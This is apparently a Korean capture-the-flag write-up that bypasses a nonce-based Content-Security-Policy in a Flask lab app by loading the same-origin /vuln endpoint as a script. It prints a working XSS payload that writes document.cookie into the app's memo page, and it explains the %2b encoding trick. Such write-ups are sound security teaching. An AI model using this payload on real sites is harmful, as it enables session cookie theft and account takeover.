반응형
문제풀이
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
CSP를 확인해보면, script-src ‘self’ 'nonce-{nonce}'
다.
즉, 동일한 도메인이거나 nonce가 일치하는 경우만 script를 로드할 수 있다.
nonce는 16자리 랜덤 hex로 생성된다. 따라서 유추하는 것이 불가능하다.
하지만 동일한 도메인이면 script를 로드할 수 있다. 그렇다면 생각할 수 있는 방법은 script 태그의 src를 이용해서 공격 대상이 직접 /vuln
을 호출하도록 유도하는 것이다.
클라이언트에서 /vuln
을 요청하면 동일한 도메인으로 검증되면서 CSP 정책을 우회하고 script를 실행할 수 있다.
<script src="http://127.0.0.1:8000/vuln?param=location.href='http://127.0.0.1:8000/memo?memo='%2bdocument.cookie"></script>
payload는 위와 같다.
src로 /vuln
을 호출해서 memo에 쿠키를 저장하는 방식이다.
%2b
를 사용한 이유는 클라이언트에서 src로 요청하기 전에 url 디코딩으로 +
가 공백으로 디코딩되기 때문이다. 따라서 디코딩 된 결과를 +
로 만들기 위해서 url 인코딩해서 전송했다.
반응형